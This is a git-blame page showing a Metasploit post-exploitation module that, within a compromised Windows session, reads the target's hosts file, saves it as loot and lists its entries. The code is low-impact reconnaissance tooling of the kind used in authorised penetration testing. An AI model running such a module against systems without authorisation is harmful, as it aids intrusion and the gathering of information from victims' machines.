Files
metasploit-gs/modules/post/windows/gather/enum_hostfile.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

58 lines
1.3 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Post
include Msf::Post::File
2020-10-11 17:44:21 -04:00
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather Windows Host File Enumeration',
'Description' => %q{
This module returns a list of entries in the target system's hosts file.
},
'License' => BSD_LICENSE,
'Author' => [ 'vt <nick.freeman[at]security-assessment.com>'],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter', 'shell' ]
)
)
end
def run
# read in the hosts in the hosts file.
2020-10-11 17:44:21 -04:00
hosts = read_file 'C:\\WINDOWS\\System32\\drivers\\etc\\hosts'
# Store the original hosts file
p = store_loot(
'hosts.confige',
'text/plain',
session,
hosts,
'hosts_file.txt',
'Windows Hosts File'
)
# Print out each line that doesn't start w/ a comment
entries = []
hosts.each_line do |line|
next if line =~ /^[\r|\n|#]/
2020-10-11 17:44:21 -04:00
entries << line.strip
end
# Show results
2020-10-11 17:44:21 -04:00
if !entries.empty?
print_line('Found entries:')
entries.each do |e|
print_good(e.to_s)
end
end
2020-10-11 17:44:21 -04:00
print_status("Hosts file saved: #{p}")
end
end